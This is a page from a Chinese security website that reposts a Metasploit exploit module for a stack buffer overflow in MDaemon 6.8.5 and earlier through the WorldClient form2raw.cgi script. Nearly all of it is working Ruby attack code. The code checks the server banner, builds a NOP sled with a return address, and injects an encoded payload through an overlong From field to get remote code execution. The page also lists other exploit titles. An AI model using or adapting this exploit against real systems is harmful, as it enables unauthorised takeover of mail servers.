首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Overflow(MSF)
来源:http://www.metasploit.com 作者:patrick 发布时间:2009-11-27  
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Overflow',
			'Description'	=> %q{
			This module exploits a stack overflow in Alt-N MDaemon SMTP server for
			versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default),
			a CGI script is provided to accept html FORM based emails and deliver via MDaemon.exe,
			by writing the CGI output to the Raw Queue. When X-FromCheck is enabled (also default),
			the temporary form2raw.cgi data is copied by MDaemon.exe and a stack based
			overflow occurs when an excessively long From field is specified.
			The RawQueue is processed every 1 minute by default, to a maximum of 60 minutes.
			Keep this in mind when choosing payloads or setting WfsDelay... You'll need to wait.
			
			Furthermore, this exploit uses a direct memory jump into a nopsled (which isn't very
			reliable). Once the payload is written into the Raw Queue by Form2Raw, MDaemon will
			continue to crash/execute the payload until the CGI output is manually deleted
			from the queue in C:\MDaemon\RawFiles\*.raw.
			},
			'Author' 	=> [ 'patrick' ],
			'Arch'		=> [ ARCH_X86 ],
			'License'       => MSF_LICENSE,
			'Version'       => '$Revision
, 'References' => [ [ 'CVE', '2003-1200' ], [ 'OSVDB', '3255' ], [ 'BID', '9317' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 900, 'BadChars' => "\x00\x0a\x0d%\x20@<>&?|,;=`()${}\#!~\"\xff\/\\", 'StackAdjustment' => -3500, }, 'Platform' => ['win'], 'Targets' => [ # Patrickw - Tested OK-ish 20090702 w2k [ 'Universal MDaemon.exe', { 'Ret' => 0x022fcd46 } ], # direct memory jump :( [ 'Debugging test', { 'Ret' => 0x44434241 } ], ], 'DisclosureDate' => 'Dec 29 2003', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(3000), ],self.class) end def check connect sock.put("GET / HTTP/1.0\r\n\r\n") banner = sock.get(-1,3) disconnect if (banner =~ /WDaemon\/6\.8\.[0-5]/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect sploit = "GET /form2raw.cgi?From=" # Trigger vuln sploit << "\x90" * 242 # We set EIP to the middle of this. sploit << Rex::Arch::X86.jmp_short(61) # Then jump over some junk memory.. 60 is precise but is a badchar. sploit << [target['Ret']].pack('V') + "c" # Return address, plus 1 byte overwrite for ESP... 'c' sploit << "&To=#{Rex::Text.rand_text_alpha(12)}@#{Rex::Text.rand_text_alpha(12)}.#{Rex::Text.rand_text_alpha(3)}" sploit << "&Body=" + "\x90" * 1 # 1 Byte for short jump. sploit << payload.encoded + " HTTP/1.0" sock.put(sploit + "\r\n\r\n") res = sock.get(3,3) if (res =~ /Message spooled but will be deleted if not FROM a valid account/) print_status("Payload accepted by WorldClient Form2Raw CGI!") print_status("Wait for the Raw Queue to be processed (1 to 60 minutes).") else print_status("Message not accepted. Vulnerable target?") end handler disconnect end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft ASN.1 Library Bitstr
·Trend Micro ServerProtect 5.58
·RealPlayer ierpplug.dll Active
·MailEnable Authorization Heade
·GAMSoft TelSrv 1.5 Username Bu
·Realtek Media Player Playlist
·Microsoft DirectX DirectShow S
·eIQNetworks ESA License Manage
·Eureka Mail Client Remote Buff
·电子斗音乐get shell漏洞
·SentinelLM UDP Buffer Overflow
·Serenity Audio Player Playlist
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved